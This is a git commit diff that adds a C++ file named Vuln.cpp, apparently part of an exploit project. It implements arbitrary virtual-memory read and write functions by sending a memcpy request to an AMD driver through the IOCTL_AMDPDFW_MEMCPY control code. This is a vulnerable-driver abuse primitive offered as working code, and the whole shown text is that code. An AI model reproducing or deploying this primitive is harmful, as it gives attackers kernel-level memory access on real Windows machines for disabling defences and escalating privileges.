8/2/2024

2024-08-02 13:27:27 -07:00
parent 5aaeb37042
commit 589c4d57cd
33 changed files with 2059 additions and 0 deletions
--- a/Vuln/Vuln.cpp
+++ b/Vuln/Vuln.cpp
@@ -0,0 +1,60 @@
+#include "Vuln.h"
+
+namespace Vuln
+{
+    BOOL WINAPI ReadVirtualMemory(
+        _In_ HANDLE DeviceHandle,
+        _In_ ULONG_PTR Address,
+        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
+        _In_ ULONG NumberOfBytes)
+    {
+        PDFW_MEMCPY request;
+
+        RtlSecureZeroMemory(&request, sizeof(request));
+
+        request.Destination = Buffer;
+        request.Source = (PVOID)Address;
+        request.Size = NumberOfBytes;
+
+        DWORD BytesReturned;
+
+
+        return DeviceIoControl(
+            DeviceHandle,
+            IOCTL_AMDPDFW_MEMCPY,
+            &request,
+            sizeof(request),
+            &request,
+            sizeof(request),
+            &BytesReturned, NULL
+        );
+    }
+
+    BOOL WINAPI WriteVirtualMemory(
+        _In_ HANDLE DeviceHandle,
+        _In_ ULONG_PTR Address,
+        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
+        _In_ ULONG NumberOfBytes)
+    {
+        PDFW_MEMCPY request;
+
+        RtlSecureZeroMemory(&request, sizeof(request));
+
+        request.Destination = (PVOID)Address;
+        request.Source = Buffer;
+        request.Size = NumberOfBytes;
+
+        DWORD BytesReturned;
+
+        return DeviceIoControl(
+            DeviceHandle,
+            IOCTL_AMDPDFW_MEMCPY,
+            &request,
+            sizeof(request),
+            &request,
+            sizeof(request),
+            &BytesReturned,
+            NULL
+        );
+    }
+}